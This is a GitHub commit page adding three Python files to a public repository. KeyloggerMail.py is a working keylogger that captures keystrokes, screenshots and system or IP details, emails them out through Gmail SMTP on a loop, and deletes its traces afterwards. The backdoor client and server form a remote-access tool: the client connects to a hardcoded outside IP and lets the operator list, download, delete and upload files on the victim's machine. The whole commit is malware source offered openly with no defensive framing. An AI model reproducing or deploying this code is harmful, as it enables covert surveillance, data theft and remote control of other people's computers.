Skip to content

Commit a4ca39b

Browse files
author
codehouseindia
authored
Merge pull request codehouseindia#405 from chiragarora01/master
Keylogger.py
2 parents 0e862dc + 13cb1b6 commit a4ca39b

3 files changed

Lines changed: 335 additions & 0 deletions

File tree

KeyloggerMail.py

Lines changed: 211 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,211 @@
1+
from email.mime.multipart import MIMEMultipart
2+
from email.mime.text import MIMEText
3+
from email.mime.base import MIMEBase
4+
from email import encoders
5+
import smtplib
6+
import socket
7+
import platform
8+
import pyscreenshot as ImageGrab
9+
from pynput.keyboard import Key, Listener
10+
import time
11+
import os
12+
13+
flag = 0
14+
system_information = "system.txt"
15+
audio_information = "audio.wav"
16+
# clipboard_information = "clipboard.txt"
17+
screenshot_information = "screenshot.png"
18+
keys_information = "key_log.txt"
19+
extend = "\\"
20+
file_path = f"{os.path.expanduser('~')}\\AppData" # "C:\\Users\\Public\\Roaming"
21+
22+
# Time Controls
23+
time_iteration = 30 # 7200 # 2 hours
24+
number_of_iterations_end = 1000000 # 5000
25+
microphone_time = 10 # 600 is 10 minutes
26+
27+
# Email Controls
28+
email_address = "[email protected] "
29+
password = "[email protected]"
30+
31+
try:
32+
# Send to email
33+
def send_email(filename, attachment):
34+
# Source code from geeksforgeeks.org
35+
36+
fromaddr = email_address
37+
toaddr = email_address
38+
39+
# instance of MIMEMultipart
40+
msg = MIMEMultipart()
41+
42+
# storing the senders email address
43+
msg['From'] = fromaddr
44+
45+
# storing the receivers email address
46+
msg['To'] = toaddr
47+
48+
# storing the subject
49+
msg['Subject'] = f"{os.path.expanduser('~')}"
50+
51+
# string to store the body of the mail
52+
body = f"{os.path.expanduser('~')}"
53+
54+
# attach the body with the msg instance
55+
msg.attach(MIMEText(body, 'plain'))
56+
57+
# open the file to be sent
58+
filename = filename
59+
attachment = open(attachment, "rb")
60+
61+
# instance of MIMEBase and named as p
62+
p = MIMEBase('application', 'octet-stream')
63+
64+
# To change the payload into encoded form
65+
p.set_payload((attachment).read())
66+
67+
# encode into base64
68+
encoders.encode_base64(p)
69+
70+
p.add_header('Content-Disposition', "attachment; filename= %s" % filename)
71+
72+
# attach the instance 'p' to instance 'msg'
73+
msg.attach(p)
74+
75+
# creates SMTP session
76+
s = smtplib.SMTP('smtp.gmail.com', 587)
77+
78+
# start TLS for security
79+
s.starttls()
80+
81+
# Authentication
82+
s.login(fromaddr, password)
83+
84+
# Converts the Multipart msg into a string
85+
text = msg.as_string()
86+
87+
# sending the mail
88+
s.sendmail(fromaddr, toaddr, text)
89+
90+
# terminating the session
91+
s.quit()
92+
93+
94+
# Get Computer and Network Information
95+
def computer_information():
96+
with open(file_path + extend + system_information, "a") as f:
97+
hostname = socket.gethostname()
98+
IPAddr = socket.gethostbyname(hostname)
99+
100+
f.write("Processor: " + (platform.processor() + "\n"))
101+
f.write("System: " + platform.system() + " " + platform.version() + "\n")
102+
f.write("Machine: " + platform.machine() + "\n")
103+
f.write("Hostname: " + hostname + "\n")
104+
f.write("IP Address: " + IPAddr + "\n")
105+
106+
107+
# Gather clipboard contents
108+
# def copy_clipboard():
109+
# with open(file_path + extend + clipboard_information, "a") as f:
110+
# try:
111+
# win32clipboard.OpenClipboard()
112+
# pasted_data = win32clipboard.GetClipboardData()
113+
# win32clipboard.CloseClipboard()
114+
#
115+
# f.write("Clipboard Data: \n" + pasted_data)
116+
#
117+
# except:
118+
# f.write("Clipboard could not be copied.")
119+
120+
121+
# Screenshot functionalities
122+
def screenshot():
123+
im = ImageGrab.grab()
124+
im.save(file_path + extend + screenshot_information)
125+
126+
127+
if flag == 0:
128+
flag = 1
129+
computer_information()
130+
send_email(system_information, file_path + extend + system_information)
131+
# copy_clipboard()
132+
# send_email(clipboard_information, file_path + extend + clipboard_information)
133+
134+
screenshot()
135+
send_email(screenshot_information, file_path + extend + screenshot_information)
136+
137+
# Time controls for keylogger
138+
number_of_iterations = 0
139+
currentTime = time.time()
140+
stoppingTime = time.time() + time_iteration
141+
142+
while number_of_iterations < number_of_iterations_end:
143+
144+
count = 0
145+
keys = []
146+
147+
counter = 0
148+
149+
150+
def on_press(key):
151+
global keys, count, currentTime
152+
153+
keys.append(key)
154+
count += 1
155+
currentTime = time.time()
156+
157+
if count >= 1:
158+
count = 0
159+
write_file(keys)
160+
keys = []
161+
162+
163+
def write_file(keys):
164+
with open(file_path + extend + keys_information, "a") as f:
165+
for key in keys:
166+
k = str(key).replace("'", "")
167+
if k.find("space") > 0:
168+
f.write('\n')
169+
f.close()
170+
elif k.find("Key") == -1:
171+
f.write(k)
172+
f.close()
173+
174+
175+
def on_release(key):
176+
if key == Key.esc:
177+
return False
178+
if currentTime > stoppingTime:
179+
return False
180+
181+
182+
with Listener(on_press=on_press, on_release=on_release) as listener:
183+
listener.join()
184+
185+
if currentTime > stoppingTime:
186+
# Send keylogger contents to email
187+
send_email(keys_information, file_path + extend + keys_information)
188+
# Clear contens of keylogger log file.
189+
with open(file_path + extend + keys_information, "w") as f:
190+
f.write(" ")
191+
# Take a screenshot and send to email
192+
screenshot()
193+
send_email(screenshot_information, file_path + extend + screenshot_information)
194+
# Gather clipboard contents and send to email
195+
# copy_clipboard()
196+
# send_email(clipboard_information, file_path + extend + clipboard_information)
197+
198+
# Increase iteration by 1
199+
number_of_iterations += 1
200+
# Update current time
201+
currentTime = time.time()
202+
stoppingTime = time.time() + time_iteration
203+
204+
time.sleep(10) # Sleep two minutes before we delete all files
205+
206+
# Delete files - clean up our tracks
207+
delete_files = [system_information, audio_information, screenshot_information, keys_information]
208+
for file in delete_files:
209+
os.remove(file_path + extend + file)
210+
except:
211+
print("Connection Lost ........Internet Issues ")

backdoor/client.py

Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
# command list
2+
# view_cmd
3+
# custom_dir
4+
5+
import os
6+
import socket
7+
8+
s = socket.socket()
9+
port = 5555
10+
host = '117.215.148.133'
11+
12+
s.connect((host, port))
13+
14+
# command control
15+
while 1:
16+
command = s.recv(1024)
17+
command = command.decode()
18+
print("")
19+
if command == "view_cwd":
20+
files = os.getcwd()
21+
files = str(files)
22+
s.send(files.encode())
23+
elif command == 'custom_dir':
24+
user_input = s.recv(5000)
25+
user_input = user_input.decode()
26+
files = os.listdir(user_input)
27+
files = str(files)
28+
s.send(files.encode())
29+
elif command == 'download_file':
30+
filepath = s.recv(5000)
31+
filepath = filepath.decode()
32+
files = open(filepath, "rb")
33+
data = files.read()
34+
s.send(data)
35+
files = str(files)
36+
s.send(files.encode())
37+
elif command == 'remove_file':
38+
fileaddr = s.recv(6000)
39+
fileaddr = fileaddr.decode()
40+
os.remove(fileaddr)
41+
elif command == 'send_file':
42+
filename = s.recv(6000)
43+
new_file = open(filename, "wb")
44+
data = s.recv(6000)
45+
new_file.write(data)
46+
new_file.close()
47+
48+
49+
50+
51+
52+
53+
54+
55+
56+
57+
58+
59+
60+
61+
62+
else:
63+
print("-----------FAILED-----------")

backdoor/server.py

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
import os
2+
import socket
3+
4+
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
5+
host = ''
6+
port = 5555
7+
s.bind((host, port))
8+
print("")
9+
print("IT's Listning.....", host)
10+
print("Waiting for Connections............. ")
11+
s.listen(1)
12+
conn, addr = s.accept()
13+
print("")
14+
print(addr, " is Connected ")
15+
# Connection completed
16+
# Command control
17+
while 1:
18+
command = input(str("Command >> "))
19+
if command == "view_cwd":
20+
conn.send(command.encode())
21+
print("")
22+
files = conn.recv(5000)
23+
files = files.decode()
24+
print("Command Output : ", files)
25+
elif command == 'custom_dir':
26+
conn.send(command.encode())
27+
print("")
28+
user_input = input(str("custom dir : "))
29+
conn.send(user_input.encode())
30+
31+
files = conn.recv(5000)
32+
files = files.decode()
33+
print("Command Output : ", files)
34+
35+
elif command == 'download_file':
36+
conn.send(command.encode())
37+
print("")
38+
filepath = input(str("File Path : "))
39+
conn.send(filepath.encode())
40+
files = conn.recv(100000)
41+
filename = input(str("Enter file path where to save: "))
42+
new_file = open(filename, "wb")
43+
new_file.write(files)
44+
print(filename, " is downloaded")
45+
elif command == 'remove_file':
46+
conn.send(command.encode())
47+
print("")
48+
fileaddr = input(str("Enter file path where to delete: "))
49+
conn.send(fileaddr.encode())
50+
print("Deleted")
51+
elif command == 'send_file':
52+
conn.send(command.encode())
53+
print("")
54+
file = input(str("Enter file path where is: "))
55+
filename = input(str("Enter file name: "))
56+
data = open(file, "rb")
57+
file_data = data.read(7000)
58+
conn.send(filename.encode())
59+
print("Send File")
60+
else:
61+
print("-----------FAILED-----------")

0 commit comments

Comments
 (0)